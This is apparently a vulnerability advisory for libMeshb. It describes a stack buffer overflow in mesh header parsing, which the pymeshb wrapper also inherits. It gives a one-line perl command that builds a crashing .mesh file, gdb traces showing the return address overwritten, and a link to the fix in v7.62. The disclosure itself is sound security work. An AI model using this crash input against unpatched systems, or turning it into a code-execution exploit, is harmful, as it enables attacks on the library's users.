=====
Intro
=====

libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution.

=====
Repro
=====

No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers.

echo -ne `perl -e 'print "B" x 2176'` > test.mesh

========
Debugger
========

(gdb) r test.mesh /tmp/empty.mesh
Starting program: mesh2poly test.mesh /tmp/empty.mesh

*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff7ddb859 in __GI_abort () at abort.c:79
#2  0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26
#4  0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24
#5  0x000055555555b5d2 in GmfOpenMesh ()
#6  0x4242424242424242 in ?? ()
#7  0x0000000000000000 in ?? ()

(gdb) exploitable
Description: Stack buffer overflow
Short description: StackBufferOverflow (6/22)
Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1
Exploitability Classification: EXPLOITABLE
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.
Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22)

This also affects the python wrapper library pymeshb.

>>> import pymeshb
>>> pymeshb.read('test.mesh')
*** stack smashing detected ***: terminated
Aborted (core dumped)

===
Fix
===

libMeshb v7.62

- https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316